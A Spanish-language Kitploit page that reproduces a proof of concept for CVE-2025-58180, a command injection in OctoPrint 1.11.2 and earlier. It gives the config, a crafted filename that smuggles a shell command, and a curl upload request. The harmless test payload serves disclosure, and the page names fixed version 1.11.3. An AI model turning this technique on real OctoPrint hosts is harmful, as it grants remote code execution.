Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-58180 — En OctoPrint versión <=1.11.2, un atacante con acceso de carga de archivos (por ejemplo, una clave de API válida o una sesión) puede crear un nombre de archivo malicioso que evade la sanitización y que posteriormente es ejecutado por el sistema de eventos de OctoPrint, lo que conduce a la ejecución remota de código (RCE) en el host. | Kitploit
Herramientas/GitHubGitHub/prabhatverma47/cve-2025-58180
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

Ver Repositorio
1hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

En OctoPrint versión <=1.11.2, un atacante con acceso de carga de archivos (por ejemplo, una clave de API válida o una sesión) puede crear un nombre de archivo malicioso que evade la sanitización y que posteriormente es ejecutado por el sistema de eventos de OctoPrint, lo que conduce a la ejecución remota de código (RCE) en el host.

Compartir

CVE-2025-58180 RCE en OctoPrint a través de un nombre de archivo sin saneamiento en la subida de archivos

En OctoPrint versión <=1.11.2, un atacante con acceso de subida de archivos (p. ej., una clave API válida o una sesión) puede crear un nombre de archivo malicioso que evade el saneamiento y que posteriormente es ejecutado por el sistema de eventos de OctoPrint, lo que conduce a la ejecución remota de código (RCE) en el host


PoC: Pasos para reproducir la vulnerabilidad

Paso 1: Información de la versión

Descargada la última versión estable: OctoPrint 1.11.2

imagen

Paso 2: Ejecutar OctoPrint

octoprint serve --port 5000 --debug
  • Abrir http://127.0.0.1:5000 en el navegador.
  • Completar el asistente inicial → crear usuario con la configuración predeterminada (deshabilitadas: conectividad, anónimo, plugin).
  • Obtener la clave API de Ajustes → API → guardarla para más tarde. imagen

Detener el servicio de OctoPrint una vez realizados los pasos anteriores.


Paso 3: Configurar la suscripción a eventos

Siguiendo la documentación de eventos de OctoPrint:

Editar ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
imagen

Paso 4: Crear un G-code de ejemplo

Crear /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Reiniciar el servicio de OctoPrint.


Paso 5: Prueba de concepto de RCE

  1. Exportar la clave API:
export API_KEY='<key previously gathered from webUI>'
  1. Verificar que el archivo no existe:
ls -la /tmp/test123
  1. Crear el payload del nombre de archivo malicioso:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Explicación: ${IFS} es el Separador de Campos Interno (Internal Field Separator) del shell (normalmente un espacio). Evita el saneamiento cuando se inyecta.

  1. Enviar la petición curl:
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Verificar la ejecución:
ls -la /tmp/test123
imagen

Si /tmp/test123 existe, el comando inyectado se ejecutó correctamente → RCE confirmado.


Explicación del flujo

[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

Resumen

Cuando se sube un archivo:

  1. OctoPrint acepta el nombre de archivo (con saneamiento limitado).
  2. Se dispara un evento FileAdded.
  3. Si hay comandos del sistema suscritos a este evento, el nombre de archivo sin procesar (incluyendo ;, ${IFS}, etc.) se pasa a un shell.
  4. Esto permite que los comandos inyectados dentro del nombre de archivo se ejecuten en el host.

Resultado: Ejecución remota de código (RCE) en el sistema host.

Referencias

  • CVE asignado:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Versión corregida: 1.11.3

Descargar herramienta